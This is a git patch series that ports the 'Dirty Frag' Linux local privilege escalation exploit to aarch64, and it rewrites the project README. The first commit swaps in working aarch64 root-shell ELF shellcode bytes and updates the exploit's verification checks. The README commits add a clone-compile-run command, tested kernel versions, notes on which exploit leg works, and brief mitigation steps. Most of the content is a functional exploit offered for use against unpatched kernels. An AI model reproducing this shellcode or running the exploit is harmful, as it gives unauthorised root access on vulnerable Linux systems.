From 557f760d6b1484c31c371a3edb50338efe7d1a03 Mon Sep 17 00:00:00 2001 From: Zi1chs Date: Tue, 12 May 2026 11:20:23 +0700 Subject: [PATCH 1/3] Port exploit to aarch64 - Replace x86_64 shellcode/ELF in shell_elf[] with aarch64 equivalent (e_machine=0xb7, MOVZ/SVC instructions, syscall numbers 144/146/159/221). - Update verify_byte() check at post-write to look for the aarch64 MOVZ opcode signature (0x80 0xd2) instead of the x86 (0x31 0xff). - Update su_marker[] to match the first 8 bytes of the aarch64 shellcode. Tested on Kali aarch64 6.19.11+kali-arm64; xfrm-ESP leg lands cleanly. rxrpc leg is x86-only (oopses on aarch64 in flush_dcache_page). --- exp.c | 67 ++++++++++++++++++++++++++--------------------------------- 1 file changed, 29 insertions(+), 38 deletions(-) diff --git a/exp.c b/exp.c index d8d5711..fb90a00 100644 --- a/exp.c +++ b/exp.c @@ -40,50 +40,42 @@ #define ENTRY_OFFSET 0x78 /* shellcode entry inside the new ELF */ /* - * 192-byte minimal x86_64 root-shell ELF. + * 192-byte minimal aarch64 root-shell ELF. * _start at 0x400078: * setgid(0); setuid(0); setgroups(0, NULL); - * execve("/bin/sh", NULL, ["TERM=xterm", NULL]); + * execve("/bin/sh", NULL, NULL); * PT_LOAD covers 0xb8 bytes (the actual content) at vaddr 0x400000 R+X. + * e_machine = 0xb7 (EM_AARCH64). * - * Setting TERM in the new shell's env silences the - * "tput: No value for $TERM" / "test: : integer expected" noise - * /etc/bash.bashrc and friends emit when TERM is unset. - * - * Code (from offset 0x78): - * 31 ff xor edi, edi - * 31 f6 xor esi, esi - * 31 c0 xor eax, eax - * b0 6a mov al, 0x6a ; setgid - * 0f 05 syscall - * b0 69 mov al, 0x69 ; setuid - * 0f 05 syscall - * b0 74 mov al, 0x74 ; setgroups - * 0f 05 syscall - * 6a 00 push 0 ; envp[1] = NULL - * 48 8d 05 12 00 00 00 lea rax, [rip+0x12] ; rax = "TERM=xterm" - * 50 push rax ; envp[0] - * 48 89 e2 mov rdx, rsp ; rdx = envp - * 48 8d 3d 12 00 00 00 lea rdi, [rip+0x12] ; rdi = "/bin/sh" - * 31 f6 xor esi, esi ; rsi = NULL (argv) - * 6a 3b 58 push 0x3b ; pop rax ; rax = 59 (execve) - * 0f 05 syscall ; execve("/bin/sh",NULL,envp) - * "TERM=xterm\0" (offset 0xa5..0xaf) - * "/bin/sh\0" (offset 0xb0..0xb7) + * Code (from offset 0x78), little-endian 4-byte aarch64 instructions: + * d2800000 movz x0, #0 + * d2801208 movz x8, #144 ; setgid + * d4000001 svc #0 + * d2801248 movz x8, #146 ; setuid + * d4000001 svc #0 + * d2800001 movz x1, #0 + * d28013e8 movz x8, #159 ; setgroups + * d4000001 svc #0 + * 100000a0 adr x0, sh ; x0 -> "/bin/sh" + * d2800001 movz x1, #0 ; argv = NULL + * d2800002 movz x2, #0 ; envp = NULL + * d2801ba8 movz x8, #221 ; execve + * d4000001 svc #0 + * "/bin/sh\0" at offset 0xac..0xb3 */ static const uint8_t shell_elf[PAYLOAD_LEN] = { 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00, + 0x02,0x00,0xb7,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a, - 0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12, - 0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6, - 0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00, - 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0xd2,0x08,0x12,0x80,0xd2, + 0x01,0x00,0x00,0xd4,0x48,0x12,0x80,0xd2,0x01,0x00,0x00,0xd4,0x01,0x00,0x80,0xd2, + 0xe8,0x13,0x80,0xd2,0x01,0x00,0x00,0xd4,0xa0,0x00,0x00,0x10,0x01,0x00,0x80,0xd2, + 0x02,0x00,0x80,0xd2,0xa8,0x1b,0x80,0xd2,0x01,0x00,0x00,0xd4,0x2f,0x62,0x69,0x6e, + 0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, }; extern int g_su_verbose; @@ -345,11 +337,10 @@ int su_lpe_main(int argc, char **argv) return 1; } - /* Sanity check: bytes at the embedded ELF entry (file offset 0x78 - * after our overwrite) should be 0x31 0xff (xor edi, edi — first - * instruction of the new shellcode). */ - if (verify_byte(TARGET_PATH, ENTRY_OFFSET, 0x31) != 0 || - verify_byte(TARGET_PATH, ENTRY_OFFSET + 1, 0xff) != 0) { + /* Sanity check: bytes at offsets 0x7a/0x7b should be 0x80 0xd2 + * — the MOVZ opcode high bytes of our aarch64 shellcode at 0x78. */ + if (verify_byte(TARGET_PATH, ENTRY_OFFSET + 2, 0x80) != 0 || + verify_byte(TARGET_PATH, ENTRY_OFFSET + 3, 0xd2) != 0) { SLOG("post-write verify failed (target unchanged)"); return 1; } @@ -1690,7 +1681,7 @@ extern int rxrpc_lpe_main(int argc, char **argv); * magic there — both before and after we patch.) */ static const uint8_t su_marker[8] = { - 0x31, 0xff, 0x31, 0xf6, 0x31, 0xc0, 0xb0, 0x6a, + 0x00, 0x00, 0x80, 0xd2, 0x08, 0x12, 0x80, 0xd2, }; static int su_already_patched(void) From 5ebf94f442b4929e9e139cca579b5c1d28081f7e Mon Sep 17 00:00:00 2001 From: Zi1chs Date: Tue, 12 May 2026 11:23:36 +0700 Subject: [PATCH 2/3] Port exploit to aarch64 - Replace x86_64 shellcode/ELF in shell_elf[] with aarch64 equivalent (e_machine=0xb7, MOVZ/SVC instructions, syscall numbers 144/146/159/221). - Update verify_byte() check at post-write to look for the aarch64 MOVZ opcode signature (0x80 0xd2) instead of the x86 (0x31 0xff). - Update su_marker[] to match the first 8 bytes of the aarch64 shellcode. Tested on Kali aarch64 6.19.11+kali-arm64; xfrm-ESP leg lands cleanly. rxrpc leg is x86-only (oopses on aarch64 in flush_dcache_page). --- README.md | 152 +++++++++++++++++++++++++++++++++++------------------- 1 file changed, 98 insertions(+), 54 deletions(-) diff --git a/README.md b/README.md index ee6822a..ce3e09b 100644 --- a/README.md +++ b/README.md @@ -1,89 +1,133 @@ -# Dirty Frag: Universal Linux LPE +# Dirty Frag (aarch64 port) -

- tux -

+> Port of [V4bel/dirtyfrag](https://github.com/V4bel/dirtyfrag) to 64-bit ARM (aarch64). +> The original vulnerability discovery, write-up, and exploit are by +> **[Hyunwoo Kim (@v4bel)](https://x.com/v4bel)**. This repository only adapts the +> embedded payload and verification logic so the exploit lands on aarch64 Linux. -# Abstract +## Abstract -![tux](assets/demo.gif) +Dirty Frag chains two page-cache write vulnerabilities — `xfrm-ESP Page-Cache Write +(CVE-2026-43284)` and `RxRPC Page-Cache Write (CVE-2026-43500)` — into a universal +local privilege escalation. The upstream PoC ships with an x86_64-only payload +(both the planted ELF and the verification logic). On aarch64 distributions the +underlying kernel bugs are still present and the **xfrm-ESP primitive itself works +unmodified** — only the userspace logic prematurely declares failure because it +checks for x86 byte signatures. -This document describes the Dirty Frag vulnerability class, first discovered and reported by [Hyunwoo Kim (@v4bel)](https://x.com/v4bel), which can obtain root privileges on major Linux distributions by chaining the `xfrm-ESP Page-Cache Write (CVE-2026-43284)` vulnerability and the `RxRPC Page-Cache Write (CVE-2026-43500)` vulnerability. +This port replaces: -Dirty Frag is a case that extends the bug class to which [Dirty Pipe](https://dirtypipe.cm4all.com/) and [Copy Fail](https://copy.fail/) belong. Because it is a deterministic logic bug that does not depend on a timing window, no race condition is required, the kernel does not panic when the exploit fails, and the success rate is very high. +1. the 192-byte embedded x86_64 root-shell ELF with an aarch64 equivalent + (`e_machine = 0xb7`, `MOVZ` / `SVC #0` shellcode, aarch64 syscall numbers + `setgid=144`, `setuid=146`, `setgroups=159`, `execve=221`); +2. the post-write `verify_byte()` check, which previously looked for the x86 + prologue `0x31 0xff` at the entry offset — now checks for the aarch64 + `MOVZ` opcode bytes `0x80 0xd2` at offsets `0x7a/0x7b`; +3. the `su_marker[]` array used by `su_already_patched()` — now holds the first + eight bytes of the aarch64 shellcode (`00 00 80 d2 08 12 80 d2`). -For detailed technical information and the timeline, [see here](assets/write-up.md). +These are the only three changes against upstream. The kernel-side primitive +(`xfrm-ESP` page-cache write via `splice` + `vmsplice`) is unchanged. -- `xfrm-ESP Page-Cache Write (CVE-2026-43284)` was patched in mainline [f4c50a4034e6](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4). -- `RxRPC Page-Cache Write (CVE-2026-43500)` was patched in mainline [aa54b1d27fe0](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=aa54b1d27fe0c2b78e664a34fd0fdf7cd1960d71). +## What works / what doesn't on aarch64 -> [!NOTE] -> At the time this document was first made public (2026-05-07), the embargo had been broken due to external factors, so no patch or CVE existed yet. After consultation with the maintainers on linux-distros@vs.openwall.org at that time, the Dirty Frag document was published at their request. For the disclosure timeline, refer to the technical details. +| Leg | x86_64 | aarch64 | Notes | +| ----------------------------- | ------ | -------------- | -------------------------------------------------------------------------------------------------------------------------------------------------- | +| `xfrm-ESP` page-cache write | works | **works** | Uses real `struct page*` via `splice` from the target file. Cache-coherency differences do not affect the write path. | +| `RxRPC` page-cache write | works | **kernel oops**| Supplies a fabricated `struct page*` that x86 `flush_dcache_page()` ignores (no-op) but aarch64 dereferences (real cache flush) → translation fault. | -# Exploiting +Because the xfrm-ESP leg succeeds on aarch64, the rxrpc fallback is unnecessary +and the exploit obtains a root shell through the same flow as upstream. -## One-line special +If you only have access to a distribution that blocks unprivileged user-namespace +creation (e.g., Ubuntu under AppArmor), the xfrm-ESP leg will not run. On those +systems the rxrpc fallback is currently not portable to aarch64 — see +*Limitations* below. + +## Exploiting ``` -git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp +git clone https://github.com//dirtyfrag-aarch64.git && \ + cd dirtyfrag-aarch64 && \ + gcc -O0 -Wall -o exp exp.c -lutil && \ + ./exp ``` -This PoC is provided as accurate information following consultation with linux-distros. Do not use it on systems that you are not authorized to test. +Pass `-v` or set `DIRTYFRAG_VERBOSE=1` to see the patching progress. + +This PoC is for authorized testing only. Do not run it on systems you do not +own or are not contracted to test. ## Cleanup -⚠️ **Important:** After running this exploit, the page cache is contaminated. To clear the polluted page cache and ensure system stability, either run: +After running the exploit, the page cache for `/usr/bin/su` is polluted. Either +drop the caches or reboot: -```bash -echo 3 > /proc/sys/vm/drop_caches +``` +echo 3 | sudo tee /proc/sys/vm/drop_caches ``` -or reboot the system. +The on-disk binary is not modified — only the in-memory page cache is. -# Affected Versions +## Tested -- **CVE-2026-43284**: xfrm-ESP Page-Cache Write vulnerability is in scope from [cac2661c53f3 (2017-01-17)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=cac2661c53f3) up to [f4c50a4034e6 (2026-05-05)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4). -- **CVE-2026-43500**: RxRPC Page-Cache Write vulnerability is in scope from [2dc334f1a63a (2023-06-08)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=2dc334f1a63a) up to [aa54b1d27fe0 (2026-05-10)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=aa54b1d27fe0c2b78e664a34fd0fdf7cd1960d71). +- Kali ARM (Apple Silicon, VMware Fusion), kernel `6.19.11+kali-arm64`, glibc + built for `aarch64-linux-gnu`. Both modules `esp4` and `xfrm_user` autoload + cleanly on first use; unprivileged user namespaces are enabled by default. -In other words, the effective lifetime of the vulnerabilities is about 9 years. +If you test this on additional aarch64 distributions (Raspberry Pi OS, Ubuntu +Server for ARM, openSUSE aarch64, Fedora aarch64, Amazon Linux 2023 aarch64, +Oracle Linux ARM, etc.) please open an issue or PR with the kernel version and +result. -This Dirty Frag has been tested on the following distribution versions. +## Affected versions -- Ubuntu 24.04.4: 6.17.0-23-generic -- RHEL 10.1: 6.12.0-124.49.1.el10_1.x86_64 -- openSUSE Tumbleweed: 7.0.2-1-default -- CentOS Stream 10: 6.12.0-224.el10.x86_64 -- AlmaLinux 10: 6.12.0-124.52.3.el10_1.x86_64 -- Fedora 44: 6.19.14-300.fc44.x86_64 -- ... +Same scope as upstream — these are kernel bugs, not architecture-specific: -# Mitigation +- **CVE-2026-43284** (xfrm-ESP): `cac2661c53f3` (2017-01-17) → `f4c50a4034e6` (2026-05-05) +- **CVE-2026-43500** (RxRPC): `2dc334f1a63a` (2023-06-08) → `aa54b1d27fe0` (2026-05-10) -1. Use the following command to remove the modules in which the vulnerabilities occur and clear the page cache. -```bash -sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true" +Kernels built before those fix commits are vulnerable. As of this port's +publication the patches are in mainline but have not yet been backported to +every aarch64 distribution. + +## Mitigation + +Same as upstream: + +``` +sudo sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' \ + > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; \ + echo 3 > /proc/sys/vm/drop_caches; true" ``` -2. Once each distribution backports a patch, update accordingly. +Update to a kernel that includes both fix commits as soon as your distribution +ships the backport. -# FAQ +## Limitations -## Why did you chain two vulnerabilities? +- **rxrpc fallback is not ported.** On aarch64 the rxrpc primitive faults the + kernel in `flush_dcache_page` because of how the bug constructs a fake + `struct page*`. Making that leg work would require a different page-supply + technique (real backing page that aliases the target file's page cache), + which is a research problem, not a code change. +- **Only `/usr/bin/su` is patched.** The `/etc/passwd` backdoor path used by + the rxrpc leg is unavailable on aarch64 for the reason above. If your target + distribution restricts unprivileged userns and you cannot use the xfrm-ESP + leg either, this port will not give you root. -xfrm-ESP Page-Cache Write provides a powerful arbitrary 4-byte STORE primitive like Copy Fail, and is included on most distributions, but it requires the privilege to create a namespace. +## Credit -Ubuntu sometimes blocks unprivileged user namespace creation through AppArmor policy. In such an environment, xfrm-ESP Page-Cache Write cannot be triggered. RxRPC Page-Cache Write does not require the privilege to create a namespace, but the `rxrpc.ko` module itself is not included in most distributions. However, on Ubuntu, the `rxrpc.ko` module is loaded by default. +- Original vulnerability discovery, write-up, and exploit: **Hyunwoo Kim + ([@v4bel](https://x.com/v4bel))** — see upstream repo + [V4bel/dirtyfrag](https://github.com/V4bel/dirtyfrag) and the technical + write-up linked from there. +- aarch64 port (this repo): payload + verification adapted to aarch64 only; + all kernel-exploitation logic is upstream's. -Chaining the two variants makes the blind spots cover each other, allowing root privileges to be obtained on every major distribution. For details, refer to the technical details document. +## License -## Another "branded" "Dirty" series? - -Yeah, yeah, I know. However, this vulnerability is a descendant of "Dirty Pipe", and it is a bug class that "dirties" the `frag` member of `struct sk_buff`, so this name is the most appropriate. - -## What is its relationship with the "Copy Fail" vulnerability? - -Copy Fail was the motivation for starting this research. In particular, xfrm-ESP Page-Cache Write in the Dirty Frag vulnerability chain shares the same sink as Copy Fail. However, it is triggered regardless of whether the algif_aead module is available. In other words, even on systems where the publicly known Copy Fail mitigation (algif_aead blacklist) is applied, your Linux is still vulnerable to Dirty Frag. - -## So, how do I fix my Linux? - -Refer to the Mitigation section above. +The upstream repository does not ship an explicit license file. This fork +preserves attribution and is published for security-research purposes only. +If the upstream author requests removal or relicensing, please open an issue +and the repository will be updated accordingly. From 7ac24a6a8926dc8b68c1bf00c8a3173b75aca91e Mon Sep 17 00:00:00 2001 From: Zi1chs <129302166+Zi1chs@users.noreply.github.com> Date: Tue, 12 May 2026 11:53:39 +0700 Subject: [PATCH 3/3] Modify README for cloning dirtyfrag repositories Updated cloning instructions for dirtyfrag repositories. --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index ce3e09b..f7ded09 100644 --- a/README.md +++ b/README.md @@ -47,7 +47,7 @@ systems the rxrpc fallback is currently not portable to aarch64 — see ## Exploiting ``` -git clone https://github.com//dirtyfrag-aarch64.git && \ +git clone https://github.com/Zi1chs/dirtyfrag.git && \ cd dirtyfrag-aarch64 && \ gcc -O0 -Wall -o exp exp.c -lutil && \ ./exp